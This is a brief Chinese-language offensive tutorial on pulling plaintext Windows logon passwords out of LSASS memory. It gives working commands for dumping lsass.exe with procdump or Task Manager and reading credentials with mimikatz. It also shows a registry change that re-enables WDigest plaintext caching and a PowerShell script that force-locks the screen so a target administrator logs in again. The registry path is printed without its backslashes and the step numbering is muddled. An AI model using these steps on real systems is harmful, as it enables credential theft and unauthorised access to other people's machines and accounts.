0x00 原理
获取到内存文件 lsass.exe 进程 (它用于本地安全和登陆策略) 中存储的明文登录密码。
0x01 操作
Windows10/2012 以下的版本:
1、上传 procdump 执行命令转存出 lsass.dmp 文件(需要管理员权限)
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2、拿到 mimikatz 文件夹执行命令读明文:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
或者手工转存 lsass.dmp 文件,打开任务管理器,选中进程,并且在其中找到 lsass.exe 这一项。
2. 找到这一项之后,单击右键,选择创建转储文件。
3. 点击之后,电脑会将该文件转储到文件夹里面,我们需要记住这个路径,并且将这个文件复制到 mimikatz 的文件夹里面。
2、拿到 mimikatz 文件夹执行命令读明文:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
Windows10/2012R2 版本:
默认 Windows10 或者 2012R2 以上的,禁止在内存缓存中保存明文密码。
四步骤:
1、修改注册表
2、锁屏或者退出账号
3、等待目标系统管理员重新登录
4、读取密码
修改注册表来让 Wdigest Auth 保存明文口令:
复原把 1 改为 0
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
修改注册表需要重启,或者注销账号重新登录。
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
然后拿到 mimikatz 文件夹执行命令读明文:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
看别人的文章说能写一个强制锁屏的 powershell 脚本文件,通过锁屏让目标重新启动电脑。
Windows2012 版本强制锁屏脚本,
保存为 lock-screen.ps1:
记得查看管理员是否在线。
Function Lock-WorkStation { $signature = @" [DllImport("user32.dll", SetLastError = true)] public static extern bool LockWorkStation(); "@ $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru $LockWorkStation::LockWorkStation() | Out-Null}Lock-WorkStation
脚本使用方法:
powershell -file lock-screen.ps1